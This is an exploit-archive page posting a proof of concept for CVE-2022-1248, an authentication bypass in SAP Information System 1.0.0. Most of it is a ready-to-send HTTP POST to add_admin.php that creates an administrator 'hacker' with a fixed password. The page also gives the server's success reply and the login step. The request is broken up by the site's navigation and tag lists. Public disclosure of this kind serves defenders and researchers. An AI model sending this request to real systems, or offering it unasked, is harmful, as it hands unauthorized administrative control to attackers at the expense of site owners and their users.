SAP Information System 1.0.0 Missing Authorization

Authored by Mr Empy

Posted Apr 7, 2022

SAP Information System version 1.0.0 suffers from an improper authentication vulnerability that allows a malicious user to create an administrative account without needing to authenticate. The POST request is sent to the /SAP_Information_System/controllers/add_admin.php endpoint. The problem occurs due to lack of session verification in the request.

tags | exploit, php, bypass
advisories | CVE-2022-1248
SHA-256 | 81b2d35c550ef4f8db3fd0aac42c15232a707b20d75b5eeabeefd52e176de1e6 **Download | Favorite | View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: SAP Information System 1.0.0 - Improper Authentication
# Date: 06/04/2022
# CVE: CVE-2022-1248
# Exploit Author: Mr Empy
# Software Link:
https://www.sourcecodester.com/php/15262/sap-information-system-using-phppdo-oop.html
# Version: 1.0.0
# Tested on: Linux


Title:
================
SAP Information System 1.0.0 - Improper Authentication


Summary:
================
SAP Information System version 1.0.0 suffers from an improper
authentication vulnerability that allows a malicious user to create an
administrative account without needing to authenticate. The POST request is
sent to the /SAP_Information_System/controllers/add_admin.php endpoint. The
problem occurs due to lack of session verification in the request.


Severity Level:
================
7.3 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L


Affected Product:
================
SAP Information System version v1.0.0


Steps to Reproduce:
================

Steps to Reproduce:

1. Copy this request and change the host and send it to the server:

############################################

POST /SAP_Information_System/controllers/add_admin.php HTTP/1.1
Host: target.com
Content-Length: 345
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryYELEK8fMdX63l0iI
Origin: http://target.com
Referer: http://target.com/SAP_Information_System/Dashboard/pages/Admin.php
Accept-Encoding: gzip, deflate
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=jjnkf4nmpdm7sca82btt2r4s1c
Connection: close

------WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="username"

hacker
------WebKitFormBoundaryYELEK8fMdX63l0iI
Content-Disposition: form-data; name="password"

P@ssw0rd!
------WebKitFormBoundaryYELEK8fMdX63l0iI
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
Content-Disposition: form-data; name="user"

admin
------WebKitFormBoundaryYELEK8fMdX63l0iI--

############################################

Reply:

############################################

HTTP/1.1 200 OK
Date: Tue, 05 Apr 2022 16:15:46 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 267
Connection: close
Content-Type: text/html; charset=UTF-8


<script type="text/javascript">setTimeout(function () { swal("Add Admin
Successfully!","Message!","success");}, 1000);</script><script
type="text/javascript">setTimeout(function(){window.location =
"/SAP_Information_System/Dashboard/pages/Admin.php"},1000)</script>

############################################

2. Go to the login page and enter the hacker:P@ssw0rd! credential. After
that you will be logged in with an administrative account.
```

Login or Register to add favorites

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other